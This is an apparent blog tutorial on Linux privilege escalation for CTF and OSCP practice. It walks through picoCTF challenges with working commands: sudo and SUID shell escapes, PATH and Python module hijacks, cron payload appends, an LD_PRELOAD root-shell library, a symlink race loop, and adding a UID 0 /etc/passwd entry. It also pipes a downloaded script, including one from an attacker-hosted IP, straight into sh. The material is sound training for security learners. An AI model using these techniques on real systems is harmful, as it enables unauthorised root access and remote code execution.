You just popped a shell. Now what?
You found the SQL injection. You uploaded the PHP web shell. You sent the buffer overflow and caught the reverse callback. Whatever it was, you have a shell on the box. The prompt blinks at you. id says www-data, or ctf-player, or some random low-privilege user. The flag is in /root/flag.txt.
Most CTF privesc guides hand you a wall of techniques right here. SUID this, capability that, kernel exploit the other thing. I am not going to do that. The wall is not the problem. The order is the problem.
Privesc rewards patience, not cleverness. The box will tell you how it wants to be rooted; you just have to read what it says.
OffSec's PEN-200 / OSCP exam page allocates 60% of the exam to "initial access and privilege escalation" across three standalone machines. The other 40% is Active Directory. If you sit the OSCP and you can pop a shell on every box but cannot escalate on two of them, you fail. People who pass the OSCP do not know more exotic tricks than people who fail. They just run the boring enumeration commands first, in the right order, and read the output.
That is the entire thesis of this post. Here is the order. Here is the output you are looking for. Here are nine real picoCTF challenges where each technique was the winning move. Skip ahead if you want, but the "Pick your reading path" section right below tells you which sections are worth your time depending on how new you are.
www-dataand refreshing GTFOBins for the fourth time. If you are stuck right now, the "60-second triage" card below is what to run.The 60-second triage: what to run before anything else
Here is what I do every single time, on every single box, the moment I get a shell. It takes about 60 seconds and resolves maybe 70% of CTF privesc challenges before I have to think.
id # who am I, what groups am I insudo -l 2>/dev/null # what can I run as rootfind / -perm -4000 -type f 2>/dev/null # SUID binariesfind / -perm -2000 -type f 2>/dev/null # SGID binariesgetcap -r / 2>/dev/null # binaries with capabilitiescat /etc/crontab /etc/cron.d/* 2>/dev/null # scheduled jobsls -la /etc/passwd /etc/shadow # are they world-writable?uname -a; cat /etc/os-release # kernel and distro
That is it. Eight commands. Run them, copy the output into a scratch file, and read slowly. Most boxes broadcast their privesc path in the first three.
| Step | Command | Why first | When it tells you nothing |
|---|---|---|---|
| 1 | id | Group membership decides half the techniques. docker, lxd, disk, sudo, adm groups all skip the rest of this list. | Boring uid=1000(user) means keep going. |
| 2 | sudo -l | The cheapest possible win. NOPASSWD on any feature-rich binary collapses to root in one GTFOBins lookup. | "may not run sudo" or password prompt: skip to step 3. |
| 3 | find / -perm -4000 | Any unusual SUID binary owned by root is a privilege escalation primitive waiting to happen. | Only standard SUIDs (passwd, su, mount, ping): no SUID path on this box. |
| 4 | getcap -r / | A handful of capabilities (cap_setuid, cap_dac_read_search, cap_sys_admin) are equivalent to root. | Empty output: capabilities are not the path. |
| 5 | cat /etc/crontab | A root cron job calling a writable script or unqualified binary is an instant escalation on the next tick. | Only standard distro entries: no cron path. |
| 6 | ls -la /etc/passwd | World-writable /etc/passwd is rare but instant: append a line with a known password and su to it. | Standard 644 root:root: not happening. |
Pick your reading path
This post is long. You probably do not need all of it right now. Here is which sections to read depending on where you are.
First-time CTF privesc
You have a shell, you have never escalated before, and the OSCP is months away. Read the triage, then the "Sudo" section, then the "SUID and SGID" section. Skip everything else for now.
OSCP candidate
Read everything. The OSCP exam is breadth, not depth. Capabilities, PATH hijacking, cron, and LD_PRELOAD all show up regularly. You want each technique fluent enough to recognize on sight.
I just need GTFOBins
You know what you are doing and you are mid-box. Jump straight to the triage card at the bottom. It groups the most common escapes by primitive (sudo, SUID, capability, cron) so you can lookup-and-go.
If you are brand new to the Linux command line itself, read the Linux CLI for CTF guide first. This post assumes you can navigate a filesystem, read files, and run commands without looking up the syntax.
Enumerate first, always (manual vs LinPEAS)
Every privesc starts with enumeration. The question is just whether you do it by hand or fire off a script. Both have a place. The trade-off is honest, not religious.
| Approach | Strengths | Weaknesses | When to reach for it |
|---|---|---|---|
| Manual checks | Fast on easy boxes. Trains your eye. Quiet (one or two syscalls per check). | You will miss something on a hard box. Twenty minutes of typing. | First. Always first. |
| LinPEAS | Catches everything you forgot. Color-codes by likelihood. Standard on OSCP. | Loud (thousands of syscalls). Output is a wall. Detected by some hardening. | After manual checks come up empty, or as a parallel sanity check. |
The dropping-LinPEAS-on-target one-liner most people use is some variant of:
# Pull the latest release from peass-ng and run it in memory:curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh# Or if outbound HTTPS is blocked, host it locally and curl from there:python3 -m http.server 8000 # on your attacker box, in PEASS dircurl http://10.10.14.5:8000/linpeas.sh | sh # on the target
LinPEAS is maintained by Carlos Polop and the peass-ng project. It runs about 200 checks across SUID, sudo, capabilities, cron, kernel version, writable paths, environment variables, network configuration, and dozens more. The output is color-coded: red+yellow means almost certainly exploitable, red means probably, yellow means worth investigating, everything else is informational.
A useful pattern from picoCTF 2023 chrono: before you escalate, check whether the flag is already readable. The challenge is named after cron and hints at scheduled jobs, but the actual flag sits in /challenge/metadata.json with mode 644. A quick find / -readable -name '*.json' 2>/dev/null finds it without any privesc at all.
Before you escalate, check what you can already read. CTF authors love putting the flag in a world-readable file just to see who skipped enumeration.
Sudo: the cheapest win
The single highest-yield command in Linux privesc is sudo -l. It prints the rules from /etc/sudoers that apply to your user. If anything in that output mentions NOPASSWD, your box is probably done.
sudo -l# Output you want to see:# User www-data may run the following commands on this host:# (root) NOPASSWD: /usr/bin/nano
A NOPASSWD rule on any feature-rich binary is an entire privesc by itself. The binary does not have to be exotic. It just has to be able to spawn a shell, write a file, or read a file. Editors, pagers, scripting interpreters, find with -exec, awk, perl, ruby, less, man, vim, nano, emacs, even cat if the rule lets you point it at /root/flag.txt.
The catalog you want is GTFOBins. Maintained by Emilio Pinna and Andrea Cardaci, it documents the canonical escape for over 350 Unix binaries across sudo, SUID, capability, and restricted-shell contexts. Memorizing escapes is a waste of time. Bookmarking GTFOBins is not.
GTFOBins is the most important link in this post. If you internalize one thing, let it be: when you see a NOPASSWD entry, do not improvise, do not Google, just open gtfobins.org and search the binary name.
The sudo escape lookup table
Here are the escapes that come up most often in CTF. Every one of these is a one-line GTFOBins entry.
| Binary | Vector | Escape | picoCTF receipt |
|---|---|---|---|
| nano | Editor shell-out | sudo nano, then Ctrl+R Ctrl+X, type reset; sh | absolute-nano |
| emacs | Editor terminal | sudo emacs, then M-x term, run any command as root | sudo-make-me-a-sandwich |
| vim | Ex-mode shell | sudo vim, then :!/bin/sh | (generic, see GTFOBins) |
| less / man | Pager shell-out | Inside the pager, type !sh | (generic, see GTFOBins) |
| find | -exec primitive | sudo find . -exec /bin/sh \; -quit | (generic, see GTFOBins) |
| python / perl / ruby | Interpreter spawn | sudo python -c 'import os; os.system("/bin/sh")' | (generic, see GTFOBins) |
| awk | BEGIN system call | sudo awk 'BEGIN {system("/bin/sh")}' | (generic, see GTFOBins) |
| ALL | The literal jackpot | sudo /bin/bash | n0s4n1ty-1 |
Worked example: sudo emacs to root
The picoCTF 2026 challenge sudo-make-me-a-sandwich is the textbook case. You SSH in, run sudo -l, and see:
User ctf-player may run the following commands on challenge:(root) NOPASSWD: /usr/bin/emacs
GTFOBins lists emacs under both sudo and suid. The interactive escape is M-x term, which spawns a full terminal emulator inside emacs. The shell that terminal launches inherits the parent process privileges, which when emacs is run via sudo means root.
sudo emacs# Inside emacs, press Alt+X (M-x), type 'term', press Enter.# At the terminal prompt:id # uid=0(root) - you have root inside the term buffercat /root/flag.txt
When the box has no PTY, the non-interactive variant works just as well:
sudo emacs -Q --batch --eval '(with-temp-buffer (insert-file-contents "/root/flag.txt") (message "%s" (buffer-string)))'
Same idea on absolute-nano: nano has a Read-File mode (Ctrl+R) that, when toggled to Execute (Ctrl+X), pipes its argument through /bin/sh -c. Type reset; sh and you are root.
And on n0s4n1ty-1, the sudoers rule is the cartoonish version: (ALL) NOPASSWD: ALL. You upload a PHP web shell (covered in the file upload exploitation post), land as www-data, type sudo cat /root/flag.txt, and the box hands you the flag without a password prompt.
sudo -l shows a rule with arguments (e.g. (root) NOPASSWD: /usr/bin/cat /var/log/*.log), look for path traversal and wildcard tricks. The shell expands the glob before sudo evaluates the match, so sudo cat /var/log/../../../root/flag.txt sometimes works against naive sudoers patterns.SUID and SGID: the second-cheapest win
The set-user-ID (SUID) bit is a permission flag that makes a binary run with the privileges of its owner, not the user invoking it. A SUID binary owned by root runs as root no matter who runs it. SGID is the same idea for the group ID. Both are necessary for a few system utilities (passwd needs to modify /etc/shadow, ping needs raw sockets) and dangerous for everything else.
find / -perm -4000 -type f 2>/dev/null # SUIDfind / -perm -2000 -type f 2>/dev/null # SGIDfind / -perm -6000 -type f 2>/dev/null # SUID + SGID
The output is mostly boring distro stuff: /usr/bin/passwd, /usr/bin/su, /usr/bin/sudo, /usr/bin/mount, /bin/ping. Those are expected. Anything else is suspicious.
/opt/whatever/some-helper is not normal. Open it, run strings on it, decompile it if you have to.The three flavors of SUID exploit
SUID binaries fall into three buckets. Each gets a different attack:
- Standard binary in GTFOBins. If
find,nmap,vim,tar,cp, or another well-known tool has its SUID bit set, look it up on GTFOBinsunder the "suid" column. The escape is usually one line. - Custom binary that shells out. A SUID C program that calls
system("ls")orexeclp("ls", ...)is vulnerable to PATH hijacking (next section). Runstringson it and look for command names without leading slashes. - Custom binary that does something complicated. A real bug in a real SUID program, e.g. an integer overflow, a TOCTOU race, an env-var trust bug. This is rare in CTF but happens. Treat it like any other binary exploitation target.
Worked example: Python sys.path hijack on a SUID script
The picoCTF 2023 challenge hijacking is bucket two with a Python flavor. The setup:
find / -perm -4000 2>/dev/nullshows a SUID-root file at/usr/local/bin/some_script.py.- The script imports a module by name. Python resolves imports by walking
sys.pathleft to right. - One of the early entries in
sys.path(typically the script's own directory or the current working directory) is writable by you.
You drop a malicious module_name.pyin that writable directory. Python finds your file before the legitimate one and executes its top-level code with the script's effective UID, which is root.
# Find the SUID script and the imports it uses:find / -perm -4000 2>/dev/null | xargs file 2>/dev/null | grep -i 'python\|script'head /usr/local/bin/some_script.py# Plant the malicious module in a directory that lands earlier in sys.path:cat > /tmp/module_name.py <<'EOF'import osos.system('cat /root/flag.txt')EOF# Trigger the SUID script (cwd may need to be /tmp depending on the script):cd /tmp && /usr/local/bin/some_script.py
The same shape works for any interpreted SUID script: Perl with @INC, Ruby with $LOAD_PATH, Node with require, even Bash with sourceon a relative path. The pattern is always "privileged process loads code from a search path; you control one entry on that path."
For the gentle version of the same lesson, see permissions: the file looks scary because it is owned by root, but it is world-readable. Always check before you escalate.
Linux capabilities: the small list that matters
Capabilities split the all-powerful root user into about 40 fine-grained privileges. Instead of granting a binary full root, you grant just "may bind low ports" or "may read any file regardless of permissions." In theory this is much safer than SUID. In practice, a small subset of capabilities are equivalent to root anyway.
getcap -r / 2>/dev/null # list every binary with capabilities set
The capabilities you care about for privesc:
| Capability | What it grants | How to abuse |
|---|---|---|
| cap_setuid | Set the process UID to anything, including 0. | Equivalent to root. Any interpreter with this cap becomes a root shell: ./python -c 'import os;os.setuid(0);os.system("sh")'. |
| cap_dac_read_search | Bypass file read permissions. Read any file regardless of mode. | Read /etc/shadow, root's SSH keys, /root/flag.txt directly. |
| cap_dac_override | Bypass file write permissions too. | Append a UID 0 user to /etc/passwd and su to it. |
| cap_sys_admin | The catch-all root capability. Mount, ptrace, namespace ops, and dozens more. | Same as root for almost every practical purpose. GTFOBins lists escapes per binary. |
| cap_sys_ptrace | Trace and inject code into any process. | Inject a shellcode payload into a root process. Slightly more involved than the others but reliable. |
| cap_chown / cap_fowner | Change ownership or override owner-only operations. | Chown /etc/shadow to your user, then read it. |
A common pattern in CTF: the box owner ran setcap cap_setuid+ep /usr/bin/python3 because they wanted Python to bind a privileged port. They forgot that cap_setuid also lets Python become root. The exploit is one line:
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
getcap -r / is empty, capabilities are not the path. Move on. When it shows a binary you have never heard of, look it up on GTFOBinsunder the "capabilities" column.PATH hijacking: when sloppy scripts call binaries by name
Linux resolves command names left-to-right through the PATH environment variable. When a privileged process calls md5sum or ls or service without a leading slash, it asks the OS to find that command in PATH. If you can write a same-named executable into a directory that lands earlier in PATH, your version runs instead.
The vulnerable pattern looks like this in C:
// Vulnerable: relies on PATHsystem("md5sum /root/flag.txt");// Safe: absolute pathsystem("/usr/bin/md5sum /root/flag.txt");
Or in Python or Bash scripts that call subprocess.run(["md5sum", ...]) or just md5sum filewithout qualifying the binary. Anywhere a privileged process trusts the user's PATH, you get to choose what runs.
Worked example: hijacking md5sum
The picoCTF 2025 challenges hash-only-1 and hash-only-2 are the canonical receipts. A SUID binary called flaghasher shells out with /bin/bash -c 'md5sum /root/flag.txt'. The bare md5sum (no leading slash) means PATH wins. You drop a fake md5sum in your home directory and put . first in PATH:
echo '/bin/cat /root/flag.txt' > md5sumchmod +x md5sumexport PATH=.:$PATHecho $PATH | tr ':' '\n' | head -3 # verify '.' is first./flaghasher# picoCTF{...}
md5sum calls md5sum somefile as a fallback. Because . is first in PATH, that call resolves to your own script and infinite-loops. Either use absolute paths inside the fake (/bin/cat /root/flag.txt), or skip any reference to md5sum inside your script entirely.The hash-only-2 variant adds a wrinkle: the SSH login shell is restricted bash (rbash), which blocks cd, slashes, and PATH edits. Type bash (not exec bash) to drop into an unrestricted child shell while keeping the SSH session alive. Then continue with the PATH hijack. The full restricted-shell escape catalog is on GTFOBins under "rbash."
PATH hijacking is the single most common SUID privesc pattern in CTF. Whenever you see a custom SUID binary, run strings on it and look for unqualified command names. They are everywhere.Cron jobs: the patient privesc
Cron is the Unix task scheduler. It reads crontab files (plain text tables of time + command pairs) and runs the commands at the scheduled times, usually as root. A cron job is a privesc primitive whenever the script it runs is writable by you, the script calls binaries by name (PATH hijack), or the cron line itself uses wildcards in a way you can manipulate.
cat /etc/crontabls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/cat /etc/cron.d/* 2>/dev/nullcrontab -l # current user's jobs
A typical bad cron line:
# /etc/crontab* * * * * root /opt/cleanup/run.sh
If /opt/cleanup/run.sh is world-writable, you append your payload and wait one minute:
ls -la /opt/cleanup/run.sh# -rwxrwxrwx 1 root root (yikes)echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/cleanup/run.sh# Wait one minute, then:/tmp/rootbash -pid # uid=1000 euid=0(root)
When you cannot find the cron job in /etc/crontab but you suspect one is running (CPU spikes every minute, files appearing and disappearing in /tmp), use pspy by Dominic Breuker. It snoops on procfs to log every process creation in real time, including ones you cannot normally see.
# Drop pspy on the target (no root needed):wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64chmod +x pspy64./pspy64 # watch for periodic root jobs
Cron-adjacent on systemd-based distros: systemctl list-timers --all shows systemd timers, which are the modern replacement for cron and follow the same threat model. Always check both.
For a CTF where the challenge name screams "cron!" but the actual flag is in a world-readable file the cron job dropped, see chrono. The lesson is the same one as "permissions": enumerate readable files first.
tar -czf /backup/* /home/user looks innocent but tar with a wildcard is exploitable: drop files named --checkpoint=1 and --checkpoint-action=exec=sh shell.sh in /backup/ and tar interprets them as flags, executing your shell as root.Library and environment hijacking
Privileged processes load code from many places: shared libraries, language module paths, environment-controlled hooks. If any of those load paths is writable by you, you get code execution at the privileged level.
LD_PRELOAD and LD_LIBRARY_PATH
The dynamic linker (ld.so) honors several environment variables. Two of them are privesc-relevant:
LD_PRELOAD: a colon-separated list of.sofiles to loadbefore any other library. You can intercept any function the target binary calls.LD_LIBRARY_PATH: a colon-separated list of directories to search for shared libraries before the system defaults.
Both are stripped by sudo and SUID binaries by default (the kernel sets the AT_SECURE auxv flag). The privesc only works when:
- A sudoers rule explicitly allows them via
env_keep+="LD_PRELOAD"orenv_keep+="LD_LIBRARY_PATH"(the misconfiguration). - The target is not SUID/SGID (e.g. an explicit
sudocall without the stripping behavior, or a setcap binary that does not also have AT_SECURE).
When the conditions hold, the exploit is a five-line C file:
// preload.c#include <stdio.h>#include <stdlib.h>void _init() {setuid(0); setgid(0);system("/bin/bash -p");exit(0);}// compile and run:gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.csudo LD_PRELOAD=/tmp/preload.so any-allowed-binary
PYTHONPATH and friends
Every interpreter has its own version of LD_LIBRARY_PATH:
- Python:
PYTHONPATH, plus implicitsys.path[0]from the script's directory. - Perl:
PERL5LIBand@INC. - Ruby:
RUBYLIBand$LOAD_PATH. - Node.js:
NODE_PATHand thenode_modulesresolution chain.
The picoCTF 2023 hijacking challenge is a textbook PYTHONPATH-style exploit (technically sys.path[0], not the env var, but the same shape). When you write a payload script in Python, see the Python for CTF guide.
Race conditions and TOCTOU
A Time-Of-Check Time-Of-Use (TOCTOU)bug is when a program checks a condition and acts on it as two separate operations, but the underlying resource can change in between. The classic example is a SUID program that checks "does this user own this file?" with access(), then opens the file with open(). If you can swap the path between the two syscalls (typically by flipping a symlink), the check passes against your file but the open returns root's file.
// Vulnerable C pattern (CWE-367):if (access(argv[1], R_OK) == 0) {int fd = open(argv[1], O_RDONLY); // race window hereread(fd, buf, sizeof(buf));write(1, buf, ...);}
The picoCTF 2023 challenge tic-tac is exactly this shape. The exploit runs two concurrent loops:
# Setup: a dummy you own, and a symlink that flips between dummy and /flagecho 'dummy' > /tmp/dummy.txtln -sf /tmp/dummy.txt /tmp/race_link# Switcher loop (pinned to a different CPU for true parallelism):taskset -c 1 bash -c 'while true; doln -sf /tmp/dummy.txt /tmp/race_linkln -sf /flag /tmp/race_linkdone' &# Attacker loop: hammer the SUID binary until the timing alignsfor i in $(seq 1 100000); doout=$(./txtreader /tmp/race_link 2>/dev/null)case "$out" in *picoCTF*) echo "$out"; break;; esacdone
The ln -sf implementation calls rename(2) under the hood, which is documented atomic, so the swap never leaves the path missing. The race window is the gap between access() and open(), which is typically 10 to 100 microseconds. With both loops running at tens of thousands of iterations per second, a 1-in-1000 hit rate lands the flag in seconds.
openat(), O_NOFOLLOW) and validate after opening rather than before. CTF sees this pattern occasionally; real-world it shows up in package managers, backup utilities, and cron-driven automation.The long tail: groups, NFS, kernels
When the standard playbook turns up nothing, here are the techniques that show up rarely but win when they do.
Group abuse
Some groups are root-equivalent. If your id output shows membership in any of these, that is your privesc:
- docker:
docker run -v /:/mnt --rm -it alpine chroot /mnt shmounts the host root and gives you a root shell. - lxd / lxc: similar, via launching a privileged container with the host filesystem mounted.
- disk: read or write any block device, including the partition holding
/etc/shadow. - video or shadow: read shadow file contents directly (depending on distro).
- adm: read system logs, useful for credential harvesting.
NFS no_root_squash
When the box exports a directory over NFS with the no_root_squash option, a remote client mounting that share preserves UID 0 across the network. From your attacker box:
showmount -e targetmount -t nfs target:/exported /mnt# Drop a SUID-root binary into the share:cp /bin/bash /mnt/rootbashchmod +s /mnt/rootbash# Back on the target:/exported/rootbash -p # uid=0
World-writable /etc/passwd
Rare but instant. Append a line with a known password hash and a UID of 0:
ls -la /etc/passwd# -rw-rw-rw- (only if the box is broken)openssl passwd -1 hunter2echo 'hax:$1$xxxx$xxxxxxxxxxxxxxxxxxxxx.:0:0::/root:/bin/bash' >> /etc/passwdsu hax# Password: hunter2id # uid=0(root)
Kernel exploits (the last resort)
When everything else fails, an outdated kernel might be vulnerable to a public local privesc. Run uname -a, check the version against known CVEs, and try a public PoC. The standard automated tool is linux-exploit-suggester, which compares your kernel and distro against a CVE database.
The triage card
Print this. Tape it to your monitor. The whole post compresses into one lookup.
| Primitive | Detection command | Exploit shape | picoCTF receipt |
|---|---|---|---|
| Sudo NOPASSWD | sudo -l | GTFOBins lookup; one-liner per binary | sandwich nano n0s4n1ty-1 |
| SUID binary | find / -perm -4000 2>/dev/null | GTFOBins suid column, or sys.path / PATH hijack | hijacking |
| Capabilities | getcap -r / | cap_setuid → setuid(0); cap_dac_read_search → read /root | (generic) |
| PATH hijack | strings binary | grep -v '/' | Drop fake binary, prepend . to PATH | hash-only-1 hash-only-2 |
| Cron job | cat /etc/crontab; pspy | Writable script: append payload. Wildcard: weaponize tar/rsync | chrono |
| LD_PRELOAD | sudo -l | grep env_keep | Compile shared object; sudo LD_PRELOAD=... | (generic) |
| TOCTOU race | ltrace ./suid /tmp/x | Symlink swap loop + retry loop | tic-tac |
| Group: docker | id | grep docker | docker run -v /:/mnt alpine chroot /mnt sh | (generic) |
| NFS no_root_squash | showmount -e target | Mount remotely, drop SUID root binary | (generic) |
| World-writable passwd | ls -la /etc/passwd | Append UID 0 line; su to it | (generic) |
| Kernel CVE | uname -a; linux-exploit-suggester.sh | Public PoC; last resort | (generic) |
| World-readable flag | find / -readable -name 'flag*' | No privesc needed; just cat | permissions chrono |
What to read next
Privesc lives at the end of an exploit chain. Each of these guides walks the phase before:
- picoCTF beginner's guide: the full picoCTF onboarding, with each category mapped to its core technique.
- Linux CLI for CTF: the prerequisite command-line skills this post assumes you already have.
- Command injection for CTF: how the typical web shell shows up. The hand-off to this post happens the moment
idreturnswww-data. - File upload exploitation: the other most common shell-acquisition path. Pairs directly with this post for web-to-root chains.
- Buffer overflow for CTF and ROP chains without libc: binary exploitation as the shell-acquisition path. Most pwn challenges drop you in as a low-privilege user too.
- Heap exploitation for CTF and Format string for CTF: two more shell-acquisition primitives.
Privesc is patient work. The box will tell you how it wants to be rooted; you just have to read what it says.
External references used in this post: GTFOBins (Pinna and Cardaci), PEASS-ng / LinPEAS (Polop), pspy (Breuker), linux-exploit-suggester, OffSec PEN-200 / OSCP, rename(2), and CWE-367.